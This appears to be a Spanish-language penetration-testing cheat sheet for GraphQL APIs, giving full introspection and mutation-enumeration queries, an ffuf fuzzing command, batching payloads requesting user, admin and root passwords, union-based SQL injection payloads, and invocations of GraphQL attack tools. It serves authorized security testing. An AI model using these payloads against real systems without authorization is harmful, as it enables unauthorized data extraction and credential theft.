GraphQL

General

  • Introspección (GraphQL introspection).

  • Si la introspección esta deshabilitada utilizar sugerencias de campos (GraphQL suggestions).

  • Depuración y divulgación de información (GraphQL error handling).

  • Búsqueda de IDOR (Insecure Direct Object Reference).

  • Manipular “mutaciones” (mutations), las cuales se utilizan para realizar acciones de modificación de los datos.

  • Ataques de inyección (Injection attacks).

  • Ataque por lotes (Batching attack).

  • Ataque de denegación de servicio (Denial-of-Service DoS attacks).

Introspección

Versiones antiguas
query IntrospectionQuery {
    __schema {
      queryType { name }
      mutationType { name }
      subscriptionType { name }
      types {
        ...FullType
      }
      directives {
        name
        description
        args {
          ...InputValue
        }
        onOperation
        onFragment
        onField
      }
    }
  }

  fragment FullType on __Type {
    kind
    name
    description
    fields(includeDeprecated: true) {
      name
      description
      args {
        ...InputValue
      }
      type {
        ...TypeRef
      }
      isDeprecated
      deprecationReason
    }
    inputFields {
      ...InputValue
    }
    interfaces {
      ...TypeRef
    }
    enumValues(includeDeprecated: true) {
      name
      description
      isDeprecated
      deprecationReason
    }
    possibleTypes {
      ...TypeRef
    }
  }

  fragment InputValue on __InputValue {
    name
    description
    type { ...TypeRef }
    defaultValue
  }

  fragment TypeRef on __Type {
    kind
    name
    ofType {
      kind
      name
      ofType {
        kind
        name
        ofType {
          kind
          name
        }
      }
    }
  }

Versiones modernas
query IntrospectionQuery {
      __schema {
        queryType { name }
        mutationType { name }
        subscriptionType { name }
        types {
          ...FullType
        }
        directives {
          name
          description
          
          locations
          args {
            ...InputValue
          }
        }
      }
    }

    fragment FullType on __Type {
      kind
      name
      description
      
      fields(includeDeprecated: true) {
        name
        description
        args {
          ...InputValue
        }
        type {
          ...TypeRef
        }
        isDeprecated
        deprecationReason
      }
      inputFields {
        ...InputValue
      }
      interfaces {
        ...TypeRef
      }
      enumValues(includeDeprecated: true) {
        name
        description
        isDeprecated
        deprecationReason
      }
      possibleTypes {
        ...TypeRef
      }
    }

    fragment InputValue on __InputValue {
      name
      description
      type { ...TypeRef }
      defaultValue
    }

    fragment TypeRef on __Type {
      kind
      name
      ofType {
        kind
        name
        ofType {
          kind
          name
          ofType {
            kind
            name
            ofType {
              kind
              name
              ofType {
                kind
                name
                ofType {
                  kind
                  name
                  ofType {
                    kind
                    name
                  }
                }
              }
            }
          }
        }
      }
    }
Obtener mutaciones (mutations)
query {
  __schema {
    mutationType {
      name
      fields {
        name
        args {
          name
          defaultValue
          type {
            ...TypeRef
          }
        }
      }
    }
  }
}

fragment TypeRef on __Type {
  kind
  name
  ofType {
    kind
    name
    ofType {
      kind
      name
      ofType {
        kind
        name
        ofType {
          kind
          name
          ofType {
            kind
            name
            ofType {
              kind
              name
              ofType {
                kind
                name
              }
            }
          }
        }
      }
    }
  }
}
Consultar campos (input fields) de un objeto
{   
  __type(name: "<object-name>") {
    name
    inputFields {
      name
      description
      defaultValue
    }
  }
}

Fuzzing

Queries

ffuf -u http://<target>/graphql -w <wordlist.txt>:FUZZ -X POST -d "{\"query\":\"query {FUZZ}\"}" -H "Authorization: Bearer <token>" -H "Content-Type: application/json" -c -mc all -fr "Cannot query" -o ffuf-fuzzing-graphql-queries.html -of html

Batching attacks

[
  {"query":"{user(username: \"user\") {id,name,password}}"},
  {"query":"{user(username: \"admin\") {id,name,password}}"},
  {"query":"{user(username: \"root\") {id,name,password}}"}
]
{"query":"{
  first: user(username:\"user\"){id,name,password}
  second: user(username:\"admin\") {id,name,password}
  third: user(username:\"root\") {id,name,password}
}"}

SQL injection (SQLi)

# Union-based SQLi
{"query": "{user(username: \"x' UNION SELECT 1,2,3,4-- -\"){id,name,password}}"}
## MySQL / MariaDB
{"query": "{user(username: \"x' UNION SELECT 1,2,GROUP_CONCAT(table_name),4,5,6 FROM information_schema.tables WHERE table_schema=database()-- -\"){id,name,password}}"}

Herramientas

graphw00f

main.py -d -f -t <target>

GraphQL Cop

graphql-cop.py -t <target>/graphql

GraphQLmap

graphqlmap.py -u <target>/graphql

InQL

GraphQL Voyager

Altair GraphQL Client

Última actualización